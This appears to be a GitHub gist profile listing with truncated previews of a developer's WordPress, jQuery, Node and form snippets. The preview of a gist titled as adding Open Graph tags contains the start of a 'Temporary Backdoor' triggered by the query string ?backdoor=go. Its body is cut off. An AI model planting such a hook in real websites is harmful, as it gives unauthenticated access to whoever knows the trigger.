Skip to content

Instantly share code, notes, and snippets.

View KustomDeveloper's full-sized avatar
:octocat:
Building React Apps

Michael Hicks KustomDeveloper

:octocat:
Building React Apps
View GitHub Profile
@KustomDeveloper
KustomDeveloper / Add open graph (og:) tags to wordpress for facebook sharing of posts
Created October 12, 2018 17:18
Add open graph (og:) tags to wordpress for facebook sharing of posts
<?php if( is_single() ) { ?>
<?php
function ogtrimtext($data, $limit) {
$arr = explode(" ", $data);
$new_arr = array_slice($arr, 0, $limit);
return implode(" ", $new_arr);
}
global $post;
$og_post_object = get_post( $post_id );
/**
*
* Temporary Backdoor
*
*/
//Your website’s backdoor is: mywebsite.com/?backdoor=go
function holeinthewall() {
if ($_GET['backdoor'] == 'go') {
@KustomDeveloper
KustomDeveloper / index.php
Created October 24, 2018 18:40
Change menu links so they work with one page scrolling website
<?php if( !is_front_page() ) { ?>
<script>
//Change links so they work if it is not the homepage
var j = jQuery.noConflict();
j(function() {
j('#menu-primary-menu li a').each(function() {
var href = j(this).attr('href'),
siteUrl = window.location.protocol + '//' + window.location.host + '/';
@KustomDeveloper
KustomDeveloper / index.html
Last active October 25, 2018 01:42
FizzBuzz Challenge - Write a program that prints the numbers from 1 to 100. But for multiples of three print "Fizz" instead of the number and for the multiples of five print "Buzz". For numbers which are multiples of both three and five print "FizzBuzz".
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Fizz Buzz Challenge</title>
</head>
<body>
@KustomDeveloper
KustomDeveloper / index.html
Created December 4, 2018 16:23
Basic php form using recatcha v2 and curl
//Fetch Recaptcha API
<script src='https://www.google.com/recaptcha/api.js'></script>
<div id="contact_form">
<h1>Contact Form</h1>
<form method="POST" action="includes/php/mail.php">
<p class="">
Your Name:</p>
<input class="" name="name" type="text" size="25" maxlength="100" />
@KustomDeveloper
KustomDeveloper / app.js
Created December 17, 2018 01:01
Basic node.js crud app using: node.js, mongoose.js, express.js, and nodemon.js on an mlab mongo db server
//Require assets
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.Promise = global.Promise;
let port = 3000;
const bodyParser = require('body-parser');
@KustomDeveloper
KustomDeveloper / functions.php
Created January 4, 2019 17:24
Redirect Contact Form 7
/*
* Redirect Contact Form 7 Submissions
*/
function redirect_cf7() { ?>
<script type="text/javascript">
document.addEventListener( 'wpcf7mailsent', function( event ) {
if ( '1438' == event.detail.contactFormId ) { // Sends sumissions on form 947 to the first thank you page
location = 'https://www.ivf4everyone.com/thank-you-feedback/';
} else { // Sends submissions on all unaccounted for forms to the third thank you page
@KustomDeveloper
KustomDeveloper / index.html
Created January 11, 2019 15:21
Retreaver.js - Set phone number so that the number is static on direct and call pool number all other times
<!--Retreaver Script-->
<!-- <script src="//dist.routingapi.com/jsapi/v1/retreaver.min.js"></script> -->
<script src="https://d1a32x6bfz4b86.cloudfront.net/jsapi/v1/retreaver.min.js"></script>
<script>
var j = jQuery.noConflict();
j(function() {
Retreaver.configure({host: 'api.calltrackapi.com', prefix: 'https'});
// Initialize the Retreaver campaign using the campaign key from your campaign page.
var phoneNum = new Retreaver.Campaign({ campaign_key: '3a4f5683eddd986e4eb3cf5638ad88b6' });
@KustomDeveloper
KustomDeveloper / cloudSettings
Last active January 27, 2019 21:21
Visual Studio Code Settings Sync Gist
{"lastUpload":"2019-01-27T18:57:21.526Z","extensionVersion":"v3.2.4"}